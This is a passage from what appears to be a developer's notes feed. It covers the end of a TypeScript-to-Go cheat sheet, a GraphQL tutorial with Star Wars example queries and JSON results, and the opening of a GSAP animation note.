sum := 0
for _, n := range arr {
    sum += n
}

// Slicing (same syntax!)
sub := arr[1:3] // [2, 3]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Maps (objects/Records)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const scores: Record&amp;lt;string, number&amp;gt; = {
    alice: 100,
    bob: 85
}
scores[&quot;charlie&quot;] = 90
const aliceScore = scores[&quot;alice&quot;]
delete scores[&quot;bob&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Go&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Create map
scores := map[string]int{
    &quot;alice&quot;: 100,
    &quot;bob&quot;:   85,
}

// Add/update
scores[&quot;charlie&quot;] = 90

// Access (returns zero value if missing)
aliceScore := scores[&quot;alice&quot;]

// Check if key exists
score, exists := scores[&quot;alice&quot;]
if !exists {
    fmt.Println(&quot;alice not found&quot;)
}

// Delete
delete(scores, &quot;bob&quot;)

// Iterate
for name, score := range scores {
    fmt.Printf(&quot;%s: %d\n&quot;, name, score)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Concurrency&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Promises and async/await
async function fetchAll(urls: string[]): Promise&amp;lt;Response[]&amp;gt; {
    return Promise.all(urls.map(url =&amp;gt; fetch(url)))
}

await fetchAll([&quot;url1&quot;, &quot;url2&quot;])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Go&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Goroutines (lightweight threads)
go doSomething() // runs concurrently

// Channels (typed pipes for communication)
ch := make(chan string)

go func() {
    ch &amp;lt;- &quot;hello&quot; // send
}()

msg := &amp;lt;-ch // receive

// Buffered channel
ch := make(chan int, 10)

// Select (like Promise.race but for channels)
select {
case msg := &amp;lt;-ch1:
    fmt.Println(&quot;from ch1:&quot;, msg)
case msg := &amp;lt;-ch2:
    fmt.Println(&quot;from ch2:&quot;, msg)
case &amp;lt;-time.After(time.Second):
    fmt.Println(&quot;timeout&quot;)
}

// WaitGroup (like Promise.all)
var wg sync.WaitGroup

for _, url := range urls {
    wg.Add(1)
    go func(u string) {
        defer wg.Done()
        fetch(u)
    }(url)
}

wg.Wait() // blocks until all done
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Generics (Go 1.18+)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function first&amp;lt;T&amp;gt;(arr: T[]): T | undefined {
    return arr[0]
}

type Stack&amp;lt;T&amp;gt; = {
    items: T[]
    push: (item: T) =&amp;gt; void
    pop: () =&amp;gt; T | undefined
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Go&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Generic function
func First[T any](slice []T) (T, bool) {
    if len(slice) == 0 {
        var zero T
        return zero, false
    }
    return slice[0], true
}

// Generic type
type Stack[T any] struct {
    items []T
}

func (s *Stack[T]) Push(item T) {
    s.items = append(s.items, item)
}

func (s *Stack[T]) Pop() (T, bool) {
    if len(s.items) == 0 {
        var zero T
        return zero, false
    }
    n := len(s.items) - 1
    item := s.items[n]
    s.items = s.items[:n]
    return item, true
}

// Constraints
type Number interface {
    int | int64 | float64
}

func Sum[T Number](nums []T) T {
    var sum T
    for _, n := range nums {
        sum += n
    }
    return sum
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Package management&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;npm init
npm install express
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// package.json
{
    &quot;dependencies&quot;: {
        &quot;express&quot;: &quot;^4.18.0&quot;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Go&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;go mod init myproject
go get github.com/gin-gonic/gin
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// go.mod
module myproject

go 1.21

require github.com/gin-gonic/gin v1.9.0
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// Import in code
import &quot;github.com/gin-gonic/gin&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;JSON handling&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface User {
    id: number
    name: string
    createdAt: Date
}

const json = JSON.stringify(user)
const parsed: User = JSON.parse(json)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Go&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import &quot;encoding/json&quot;

type User struct {
    ID        int       `json:&quot;id&quot;`
    Name      string    `json:&quot;name&quot;`
    CreatedAt time.Time `json:&quot;createdAt&quot;`
    Password  string    `json:&quot;-&quot;` // Exclude from JSON
    Email     string    `json:&quot;email,omitempty&quot;` // Omit if empty
}

// Marshal (stringify)
data, err := json.Marshal(user)

// Unmarshal (parse)
var user User
err := json.Unmarshal(data, &amp;amp;user)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HTTP server&lt;/h2&gt;
&lt;h3&gt;TypeScript (Express)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import express from &apos;express&apos;

const app = express()
app.use(express.json())

app.get(&apos;/users/:id&apos;, (req, res) =&amp;gt; {
    const id = req.params.id
    res.json({ id, name: &apos;Alice&apos; })
})

app.listen(3000)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Go (standard library)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
    &quot;encoding/json&quot;
    &quot;net/http&quot;
)

func main() {
    http.HandleFunc(&quot;/users/&quot;, func(w http.ResponseWriter, r *http.Request) {
        id := r.URL.Path[len(&quot;/users/&quot;):]
        json.NewEncoder(w).Encode(map[string]string{
            &quot;id&quot;:   id,
            &quot;name&quot;: &quot;Alice&quot;,
        })
    })

    http.ListenAndServe(&quot;:3000&quot;, nil)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Go (with Gin framework)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import &quot;github.com/gin-gonic/gin&quot;

func main() {
    r := gin.Default()

    r.GET(&quot;/users/:id&quot;, func(c *gin.Context) {
        id := c.Param(&quot;id&quot;)
        c.JSON(200, gin.H{&quot;id&quot;: id, &quot;name&quot;: &quot;Alice&quot;})
    })

    r.Run(&quot;:3000&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Testing&lt;/h2&gt;
&lt;h3&gt;TypeScript (Jest)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;describe(&apos;math&apos;, () =&amp;gt; {
    it(&apos;adds numbers&apos;, () =&amp;gt; {
        expect(add(1, 2)).toBe(3)
    })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Go&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// math_test.go (must end in _test.go)
package math

import &quot;testing&quot;

func TestAdd(t *testing.T) {
    result := Add(1, 2)
    if result != 3 {
        t.Errorf(&quot;Add(1, 2) = %d; want 3&quot;, result)
    }
}

// Table-driven tests (idiomatic Go)
func TestAddTable(t *testing.T) {
    tests := []struct {
        a, b, want int
    }{
        {1, 2, 3},
        {0, 0, 0},
        {-1, 1, 0},
    }

    for _, tt := range tests {
        got := Add(tt.a, tt.b)
        if got != tt.want {
            t.Errorf(&quot;Add(%d, %d) = %d; want %d&quot;, tt.a, tt.b, got, tt.want)
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;go test ./...
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Common gotchas for TS developers&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;No unused variables/imports&lt;/strong&gt; - Go won&apos;t compile with unused code&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exported names are Capitalised&lt;/strong&gt; - &lt;code&gt;User&lt;/code&gt; is public, &lt;code&gt;user&lt;/code&gt; is private&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No exceptions&lt;/strong&gt; - use error return values&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No optional parameters&lt;/strong&gt; - use variadic or option structs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nil is not null&lt;/strong&gt; - nil has specific semantics per type&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pointers matter&lt;/strong&gt; - &lt;code&gt;*User&lt;/code&gt; vs &lt;code&gt;User&lt;/code&gt; affects mutability&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No ternary operator&lt;/strong&gt; - use if/else statements&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Loops only have &lt;code&gt;for&lt;/code&gt;&lt;/strong&gt; - no while, do-while, forEach&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://gobyexample.com/&quot;&gt;Go by Example&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://go.dev/tour/&quot;&gt;A Tour of Go&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://go.dev/doc/effective_go&quot;&gt;Effective Go&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://go.dev/play/&quot;&gt;Go Playground&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/std&quot;&gt;Go Standard Library&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>golang</category><category>typescript</category><category>cheatsheet</category><author>Zander Martineau</author></item><item><title>GraphQL</title><link>https://zander.wtf/notes/graphql/</link><guid isPermaLink="true">https://zander.wtf/notes/graphql/</guid><description>Essential quotes &quot;GraphQL is about asking for specific fields on objects&quot; &quot;The query has exactly the same shape as the result&quot; &quot;Clients can fetch lots of…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Essential quotes&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&quot;GraphQL is about asking for specific fields on objects&quot;&lt;/li&gt;
&lt;li&gt;&quot;The query has exactly the same shape as the result&quot;&lt;/li&gt;
&lt;li&gt;&quot;Clients can fetch lots of related data in one request, instead of making several roundtrips in a classic REST architecture&quot;&lt;/li&gt;
&lt;li&gt;&quot;GraphQL queries look the same for both single items or lists of items&quot;&lt;/li&gt;
&lt;li&gt;&quot;In REST, you can only pass a single set of arguments but in GraphQL, every field and nested object can get its own set of arguments, making GraphQL a complete replacement for making multiple API fetches&quot;&lt;/li&gt;
&lt;li&gt;&quot;While query fields are executed in parallel, mutation fields run in series, one after the other&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.graphqlbin.com/&lt;/li&gt;
&lt;li&gt;https://www.justgraphql.com/resources&lt;/li&gt;
&lt;li&gt;https://graphql.org/&lt;/li&gt;
&lt;li&gt;https://www.graphql.com/&lt;/li&gt;
&lt;li&gt;https://www.howtographql.com/&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Glossary&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Type&lt;/li&gt;
&lt;li&gt;Field&lt;/li&gt;
&lt;li&gt;Function for each field on each type&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;type Query {
  me: User
}

type User {
  id: ID
  name: String
}

function Query_me(request) {
  return request.auth.user;
}

function User_name(user) {
  return user.getName();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Steps involved&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Receive GraphQL query&lt;/li&gt;
&lt;li&gt;Validate query against the types and field that are defined&lt;/li&gt;
&lt;li&gt;Run provided functions to produce the result&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Example Query&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  me {
    name
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JSON result&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;me&quot;: {
    &quot;name&quot;: &quot;Luke Skywalker&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Example Query&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  hero {
    name
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JSON result&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: {
    &quot;hero&quot;: {
      &quot;name&quot;: &quot;R2-D2&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nested data with arrays&lt;/h2&gt;
&lt;p&gt;Query&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  hero {
    name
    # Queries can have comments!
    friends {
      name
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JSON result&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: {
    &quot;hero&quot;: {
      &quot;name&quot;: &quot;R2-D2&quot;,
      &quot;friends&quot;: [
        {
          &quot;name&quot;: &quot;Luke Skywalker&quot;
        },
        {
          &quot;name&quot;: &quot;Han Solo&quot;
        },
        {
          &quot;name&quot;: &quot;Leia Organa&quot;
        }
      ]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pass arguments to fields&lt;/h2&gt;
&lt;p&gt;Query&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  human(id: &quot;1000&quot;) {
    name
    height
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JSON result&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: {
    &quot;human&quot;: {
      &quot;name&quot;: &quot;Luke Skywalker&quot;,
      &quot;height&quot;: 1.72
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pass arguments into scalar fields to let the server transform it&lt;/h2&gt;
&lt;p&gt;Query&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  human(id: &quot;1000&quot;) {
    name
    height(unit: FOOT) # Enumeration type
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JSON result&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: {
    &quot;human&quot;: {
      &quot;name&quot;: &quot;Luke Skywalker&quot;,
      &quot;height&quot;: 5.6430448
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Data types for arguments&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Enumeration type&lt;/li&gt;
&lt;li&gt;GraphQL&apos;s default set of types&lt;/li&gt;
&lt;li&gt;The GraphQL server can declare its own custom types (must be serialisable)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Aliases to query the same field with different arguments&lt;/h3&gt;
&lt;p&gt;Aliases let you rename the result of a field to anything you want&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  empireHero: hero(episode: EMPIRE) {
    name
  }
  jediHero: hero(episode: JEDI) {
    name
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JSON result&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: {
    &quot;empireHero&quot;: {
      &quot;name&quot;: &quot;Luke Skywalker&quot;
    },
    &quot;jediHero&quot;: {
      &quot;name&quot;: &quot;R2-D2&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Fragments to split queries into reusable units&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;{
  leftComparison: hero(episode: EMPIRE) {
    ...comparisonFields
  }
  rightComparison: hero(episode: JEDI) {
    ...comparisonFields
  }
}

fragment comparisonFields on Character {
  name
  appearsIn
  friends {
    name
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JSON result&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: {
    &quot;leftComparison&quot;: {
      &quot;name&quot;: &quot;Luke Skywalker&quot;,
      &quot;appearsIn&quot;: [&quot;NEWHOPE&quot;, &quot;EMPIRE&quot;, &quot;JEDI&quot;],
      &quot;friends&quot;: [
        {
          &quot;name&quot;: &quot;Han Solo&quot;
        },
        {
          &quot;name&quot;: &quot;Leia Organa&quot;
        },
        {
          &quot;name&quot;: &quot;C-3PO&quot;
        },
        {
          &quot;name&quot;: &quot;R2-D2&quot;
        }
      ]
    },
    &quot;rightComparison&quot;: {
      &quot;name&quot;: &quot;R2-D2&quot;,
      &quot;appearsIn&quot;: [&quot;NEWHOPE&quot;, &quot;EMPIRE&quot;, &quot;JEDI&quot;],
      &quot;friends&quot;: [
        {
          &quot;name&quot;: &quot;Luke Skywalker&quot;
        },
        {
          &quot;name&quot;: &quot;Han Solo&quot;
        },
        {
          &quot;name&quot;: &quot;Leia Organa&quot;
        }
      ]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Use variables in fragments&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;query HeroComparison($first: Int = 3) {
  leftComparison: hero(episode: EMPIRE) {
    ...comparisonFields
  }
  rightComparison: hero(episode: JEDI) {
    ...comparisonFields
  }
}

fragment comparisonFields on Character {
  name
  friendsConnection(first: $first) {
    totalCount
    edges {
      node {
        name
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Variable&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{ &quot;first&quot;: 2 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JSON result&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: {
    &quot;leftComparison&quot;: {
      &quot;name&quot;: &quot;Luke Skywalker&quot;,
      &quot;friendsConnection&quot;: {
        &quot;totalCount&quot;: 4,
        &quot;edges&quot;: [
          {
            &quot;node&quot;: {
              &quot;name&quot;: &quot;Han Solo&quot;
            }
          },
          {
            &quot;node&quot;: {
              &quot;name&quot;: &quot;Leia Organa&quot;
            }
          }
        ]
      }
    },
    &quot;rightComparison&quot;: {
      &quot;name&quot;: &quot;R2-D2&quot;,
      &quot;friendsConnection&quot;: {
        &quot;totalCount&quot;: 3,
        &quot;edges&quot;: [
          {
            &quot;node&quot;: {
              &quot;name&quot;: &quot;Luke Skywalker&quot;
            }
          },
          {
            &quot;node&quot;: {
              &quot;name&quot;: &quot;Han Solo&quot;
            }
          }
        ]
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Operation types&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;query (can be omitted with &quot;query shorthand syntax&quot; -&amp;gt; no name + no variable definitions)&lt;/li&gt;
&lt;li&gt;mutation&lt;/li&gt;
&lt;li&gt;subscription&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Operation name&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Is only required in multi-operation documents&lt;/li&gt;
&lt;li&gt;&quot;Name your queries to make the code less ambigous&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;query HeroNameAndFriends {
  hero {
    name
    friends {
      name
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Using variables&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;It&apos;s not needed to manipulate the query string at runtime&lt;/li&gt;
&lt;li&gt;Never do string interpolation to construct queries from user-supplied values&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Steps for using variables&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Replace the static value with &lt;code&gt;$variableName&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Declare &lt;code&gt;$variableName&lt;/code&gt; as an accepted variable&lt;/li&gt;
&lt;li&gt;Pass &lt;code&gt;variableName: value&lt;/code&gt; (usually) as JSON&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Query with variable definition&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;query HeroNameAndFriends($episode: Episode) {
  hero(episode: $episode) {
    name
    friends {
      name
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Variable&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;episode&quot;: &quot;JEDI&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JSON result&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: {
    &quot;hero&quot;: {
      &quot;name&quot;: &quot;R2-D2&quot;,
      &quot;friends&quot;: [
        {
          &quot;name&quot;: &quot;Luke Skywalker&quot;
        },
        {
          &quot;name&quot;: &quot;Han Solo&quot;
        },
        {
          &quot;name&quot;: &quot;Leia Organa&quot;
        }
      ]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Variable definitions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Like arguments to a query&lt;/li&gt;
&lt;li&gt;Must be prefixed with a &lt;code&gt;$&lt;/code&gt; sign followed by their type &lt;code&gt;($episode: Episode)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Required variable definitions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;are suffixed with a ! sign &lt;code&gt;($episode: Episode!)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Default variable values&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;are suffixed with &quot; sign &lt;code&gt;($episode: Episode = JEDI)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;query HeroNameAndFriends($episode: Episode = JEDI) {
  hero(episode: $episode) {
    name
    friends {
      name
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Directives to dynamically change the structure using variables&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Example: UI component that has a summarised and a detailed view&lt;/li&gt;
&lt;li&gt;Directives can be attached to a filed or fragment incusion&lt;/li&gt;
&lt;li&gt;Two directives built into the spec:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;include(if: Boolean)&lt;/code&gt; - Includes this field only if the argument is &lt;code&gt;true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;skip(if: Boolean)&lt;/code&gt; - Skips this field if the argument is &lt;code&gt;true&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;query Hero($episode: Episode, $withFriends: Boolean!) {
  hero(episode: $episode) {
    name
    friends @include(if: $withFriends) {
      name
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Summarised view&lt;/h4&gt;
&lt;p&gt;Variables&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;episode&quot;: &quot;JEDI&quot;,
  &quot;withFriends&quot;: false
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JSON result&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: {
    &quot;hero&quot;: {
      &quot;name&quot;: &quot;R2-D2&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Detailed view&lt;/h4&gt;
&lt;p&gt;Variables&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;episode&quot;: &quot;JEDI&quot;,
  &quot;withFriends&quot;: true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JSON result&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: {
    &quot;hero&quot;: {
      &quot;name&quot;: &quot;R2-D2&quot;,
      &quot;friends&quot;: [
        {
          &quot;name&quot;: &quot;Luke Skywalker&quot;
        },
        {
          &quot;name&quot;: &quot;Han Solo&quot;
        },
        {
          &quot;name&quot;: &quot;Leia Organa&quot;
        }
      ]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Mutations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;We can mutate and query the new value of a field with one request&lt;/li&gt;
&lt;li&gt;&lt;code&gt;createReview&lt;/code&gt; field returns the &lt;code&gt;stars&lt;/code&gt; and &lt;code&gt;commentary&lt;/code&gt; fields of the newly created review&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;review&lt;/code&gt; variable is not a scalar - It&apos;s an &lt;em&gt;input object type&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;mutation CreateReviewForEpisode($ep: Episode!, $review: ReviewInput!) {
  createReview(episode: $ep, review: $review) {
    stars
    commentary
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Variables&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;ep&quot;: &quot;JEDI&quot;,
  &quot;review&quot;: {
    &quot;stars&quot;: 5,
    &quot;commentary&quot;: &quot;This is a great movie!&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JSON result&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: {
    &quot;createReview&quot;: {
      &quot;stars&quot;: 5,
      &quot;commentary&quot;: &quot;This is a great movie!&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Multiple fields in mutations&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;While query fields are executed in parallel, mutation fields run in series, one after the other&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;2 &lt;code&gt;incrementCredits&lt;/code&gt; mutations in one request mean: the first is guaranteed to finish before the second begins&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Inline Fragments for fields that return an interface or a union type&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;hero&lt;/code&gt; field returns the type &lt;code&gt;Character&lt;/code&gt;, which might be either a &lt;code&gt;Human&lt;/code&gt; or a &lt;code&gt;Droid&lt;/code&gt; depending on the &lt;code&gt;episode&lt;/code&gt; argument&lt;/li&gt;
&lt;li&gt;&lt;code&gt;name&lt;/code&gt; exists on both so you can directly ask for that in the query&lt;/li&gt;
&lt;li&gt;To ask for a field on the concrete type, you need to use an &lt;em&gt;inline fragment&lt;/em&gt; with a type condition&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;query HeroForEpisode($ep: Episode!) {
  hero(episode: $ep) {
    name
    ... on Droid {
      primaryFunction
    }
    ... on Human {
      height
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Variables&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;ep&quot;: &quot;JEDI&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JSON result&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: {
    &quot;hero&quot;: {
      &quot;name&quot;: &quot;R2-D2&quot;,
      &quot;primaryFunction&quot;: &quot;Astromech&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>graphql</category><author>Zander Martineau</author></item><item><title>GSAP</title><link>https://zander.wtf/notes/gsap/</link><guid isPermaLink="true">https://zander.wtf/notes/gsap/</guid><description>GSAP Docs: https://gsap.com/docs/v3/ Cheatsheet: https://gsap.com/cheatsheet/ GSAP is now 100% free — including all the formerly-paid plugins…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;GSAP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Docs: https://gsap.com/docs/v3/&lt;/li&gt;
&lt;li&gt;Cheatsheet: https://gsap.com/cheatsheet/&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;GSAP is now 100% free — including all the formerly-paid plugins (ScrollSmoother, SplitText, MorphSVG, etc.) — since the Webflow acquisition.&lt;/p&gt;
&lt;h2&gt;Eases&lt;/h2&gt;
&lt;p&gt;https://gsap.com/docs/v3/Eases&lt;/p&gt;
&lt;h2&gt;ScrollTrigger&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Docs: https://gsap.com/docs/v3/Plugins/ScrollTrigger&lt;/li&gt;
&lt;li&gt;Demos: https://gsap.com/st-demos/&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import gsap from &apos;gsap&apos;
import { ScrollTrigger } from &apos;gsap/ScrollTrigger&apos;
gsap.registerPlugin(ScrollTrigger)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;With React (useGSAP hook)&lt;/h3&gt;
&lt;p&gt;For React 18+, GSAP provides the &lt;code&gt;@gsap/react&lt;/code&gt; package with a &lt;code&gt;useGSAP&lt;/code&gt; hook that handles cleanup automatically.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install @gsap/react
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import { useRef } from &apos;react&apos;
import gsap from &apos;gsap&apos;
import { useGSAP } from &apos;@gsap/react&apos;

gsap.registerPlugin(useGSAP)

const MyComponent = () =&amp;gt; {
  const container = useRef&amp;lt;HTMLDivElement&amp;gt;(null)

  useGSAP(
    () =&amp;gt; {
      // All GSAP animations in here are scoped to the container
      // and automatically cleaned up when the component unmounts
      gsap.to(&apos;.box&apos;, { x: 100, duration: 1 })
    },
    { scope: container }
  )

  return (
